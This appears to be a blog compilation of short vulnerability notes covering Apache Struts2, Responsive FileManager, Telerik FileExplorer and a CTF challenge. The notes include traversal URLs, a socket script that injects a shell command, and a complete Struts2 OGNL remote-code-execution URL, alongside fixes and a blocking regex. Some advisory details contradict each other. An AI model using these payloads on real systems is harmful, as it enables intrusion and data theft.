Apache Struts2 (cve-2017-5638)

Becareful new Vulnerability Apach Struts2 (Cve-2017-5638).

How to Fix: upgrade to Struts 2.3.32 or Struts 2.5.10.1
Affected Version: Struts 2.3.5 - 2.3.31, Struts 2.5 - 2.5.10

POC:
https://github.com/tengzhangchao/Struts2_045-Poc 

RESPONSIVE filemanager <= 9.10.2 - Directory Traversal

RESPONSIVE filemanager <= 9.10.2 - Directory Traversal

Advisory: Directory Traversal in RESPONSIVE filemanager on Window Server

During a penetration test discovered a directory traversal vulnerability
in RESPONSIVE filemanager. Attackers are able to read arbitrary directory by specifying a
relative path.

Details
=======

Product: DRESPONSIVE filemanager
Affected Versions: RESPONSIVE filemanager v9.10.2
Fixed Versions: Not yet
Vulnerability Type: Directory Traversal
Vendor URL:
    http://www.responsivefilemanager.com/
Software Link:
    https://github.com/trippo/ResponsiveFilemanager/releases/download/v9.10.2/responsive_filemanager.zip
Vendor Status: fixed version released
Advisory URL: http://hacktizen.blogspot.com/2016/06/responsive-filemanager-9102-directory.html
Tested on: WINDOW SERVER
CVE: CVE-2014-2575
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2575

Attack Detail
[URL]/filemanager/dialog.php?editor=tinymce&type=&lang=&popup=0&field_id=&relative_url=0&akey=key&fldr=..\
fldr=..\..\..\

Internetwache 2016 EXP50 Writeup

When I access the server ;188.166.133.53:12037.
It shows "Let me count the ascii values of 10 characters:".
I just input some text such as "test", Then it shows an error as below:
"WRONG!!!! Only 10 characters matching /^[a-f]{10}$/ !"

The Ruby has a vulnerability of regex. I code to get a Flag.

 import socket  
   
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
 s.connect(('188.166.133.53', 12037))  
   
 print s.recv(1024)  
 print s.recv(1024)  
 s.send('ls\naaaaaaaaaa')  
 print s.recv(1024)  
 s.close()  
   

Then, the server returns as below:

$ python test.py
Let me count the ascii values of 10 characters:


Sum is: 1203
IW{RUBY_R3G3X_F41L}

FLAG:
IW{RUBY_R3G3X_F41L}

Reference:
http://sakurity.com/blog/2015/06/04/mongo_ruby_regexp.html

Telerik File Explorer Directory Traversal

# Exploit Title: Telerik FileExplorer Directory Traversal
# Date: 12/11/2014
# Exploit Author: Kerz
# Vendor Homepage: www.telerik.com
# Software Link: http://www.telerik.com/products/aspnet-ajax.aspx
# Version: Q3 2014
# Tested on: Windows OS
# CVE: None

The malicuious user sends a malformed request that generates the file access up directories as follows:

http://target_URL/FileExplorer.aspx
[POST Data]
&__CALLBACKPARAM -> "path":"../../"

Thanks

Apache Struts2 include Params Remote Code Execution

It be able to get system permissions, An attacker could execute commands.

http://URL/PAGE.ACTION(or .DO)?redirect:$%7B%23a%3d(new%20java.lang.ProcessBuilder(%22whoami%22)).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char%5B50000%5D,%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D


Solution:
 - Upgrade Version Struts2
 - Blocking Pattern Regex
   (.*)(redirect|action)(.*)java(.|%2e)lang(.|%2e)ProcessBuilder(.*)com(.|%2e)opensymphony(.*)

Reference: http://www.exploit-db.com/exploits/25980/